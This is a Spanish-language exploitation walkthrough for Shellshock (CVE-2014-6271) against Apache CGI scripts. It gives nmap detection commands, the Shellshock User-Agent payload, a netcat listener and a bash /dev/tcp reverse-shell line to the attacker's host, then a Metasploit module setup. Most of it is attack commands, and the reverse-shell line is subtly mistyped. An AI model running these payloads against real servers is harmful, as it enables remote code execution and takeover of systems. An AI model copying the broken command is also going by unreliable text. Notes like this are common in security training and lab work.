El CVE-2014-6271, conocido como "Shellshock", es una vulnerabilidad crΓtica encontrada en Bash. La
falla permite a los atacantes ejecutar comandos arbitrarios al utilizar ciertas variables de
entorno, comprometiendo potencialmente la seguridad del sistema afectado.
Esta explotaciΓ³n, se realiza sobre scripts CGI. En primer lugar, realizamos un escanΓ©o y
visualizamos que hay sobre el puerto 80 y Apache
:: βΈ ExplotaciΓ³n Manual
ββ[ code ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
nmap -sV <ip>
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Visualizando el cΓ³digo fuente de la web, podemos encontrar un cgi en ejecucion (/gettime.cgi)
~ βΈ Comprobar Vulnerabilidad
ββ[ code ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
nmap -sV <IP> βscript=http-shellshock βscript-args βhttp-shellshock.uri=<ruta del script cgi>β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Si vemos que es vulnerable podemos ejecutar comandos usando burpsuite
Una vez vemos que es vulnerable, iniciamos BurpSuite, activamos el proxy en FoxyProxy y hacemos una
peticiΓ³n a la ruta donde se encuentra el script cgi
Podemos cambiar el user agent
*() { :; }; echo; echo; /bin/bash -c '<comando>'*
Podemos obtener una rev shell poniendonos en escucha con nc
ββ[ code ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
nc -nlvp
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Ejecutamos el siguiente comando en el user agent para obtener la rev shell
bash -i >& /dev/tcp/<IP_LOCAL>/<PUERTO_LOCAL>/ 0>%1
:: βΈ ExploitaciΓ³n Metasploit (Recomendado)
Usamos el mΓ³dulo: exploit/multi/http/apache_mod_cgi_bash_env_exec
ββ[ code ]ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOST <IP vΓctima>
set TARGETURI <ruta del script cgi>
set LHOST <ip propia>
exploit
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ